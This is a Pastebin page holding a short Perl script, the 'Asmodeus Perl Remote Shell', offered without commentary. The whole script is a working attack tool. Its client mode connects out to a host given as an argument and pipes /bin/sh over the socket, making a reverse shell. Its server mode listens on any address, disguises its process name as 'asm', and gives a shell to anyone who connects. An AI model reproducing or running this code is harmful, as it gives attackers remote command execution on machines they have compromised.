Advertisement
FlyFar

Asmodeus Perl Remote Shell

Feb 17th, 2023
1,170
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 1.28 KB | Cybersecurity | 0 0
  1. use Socket;
  2.  
  3.  
  4.  
  5. $cs=$ARGV[0];
  6.  
  7. $port=$ARGV[1];
  8.  
  9. $host=$ARGV[2];
  10.  
  11.  
  12.  
  13. if ($cs eq 'client') {&client}
  14.  
  15. elsif ($cs eq 'server') {&server}
  16.  
  17.  
  18.  
  19.  
  20.  
  21.  
  22.  
  23.  
  24.  
  25. sub client{
  26.  
  27. socket(TO_SERVER, PF_INET, SOCK_STREAM, getprotobyname('tcp'));
  28.  
  29. $internet_addr = inet_aton("$host") or die "ALOA:$!\n";
  30.  
  31. $paddr=sockaddr_in("$port", $internet_addr);
  32.  
  33. connect(TO_SERVER, $paddr) or die "$port:$internet_addr:$!\n";
  34.  
  35. open(STDIN, ">&TO_SERVER");
  36.  
  37. open(STDOUT, ">&TO_SERVER");
  38.  
  39. open(STDERR, ">&TO_SERVER");
  40.  
  41. print "Asmodeus Perl Remote Shell\n";
  42.  
  43. system(date);
  44.  
  45. system("/bin/sh");
  46.  
  47. close(TO_SERVER);
  48.  
  49. }
  50.  
  51.  
  52.  
  53.  
  54.  
  55.  
  56.  
  57.  
  58.  
  59.  
  60.  
  61. sub server{
  62.  
  63. $proto=getprotobyname('tcp');
  64.  
  65. $0="asm";
  66.  
  67. $system='/bin/sh';
  68.  
  69. socket(SERVER, PF_INET, SOCK_STREAM, $proto) or die "socket:$!";
  70.  
  71. setsockopt(SERVER, SOL_SOCKET, SO_REUSEADDR, pack("l", 1)) or die "setsockopt: $!";
  72.  
  73. bind(SERVER, sockaddr_in($port, INADDR_ANY)) or die "bind: $!";
  74.  
  75. listen(SERVER, SOMAXCONN) or die "listen: $!";
  76.  
  77. for(;$paddr=accept(CLIENT, SERVER);close CLIENT) {
  78.  
  79.   open(STDIN, ">&CLIENT");
  80.  
  81.   open(STDOUT, ">&CLIENT");
  82.  
  83.   open(STDERR, ">&CLIENT");
  84.  
  85.   print "Asmodeus Perl Remote Shell\n";
  86.  
  87.   system(date);
  88.  
  89.   system("/bin/sh");
  90.  
  91.   close(STDIN);
  92.  
  93.   close(STDOUT);
  94.  
  95.   close(STDERR);
  96.  
  97.   return;
  98.  
  99. }
  100.  
  101. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement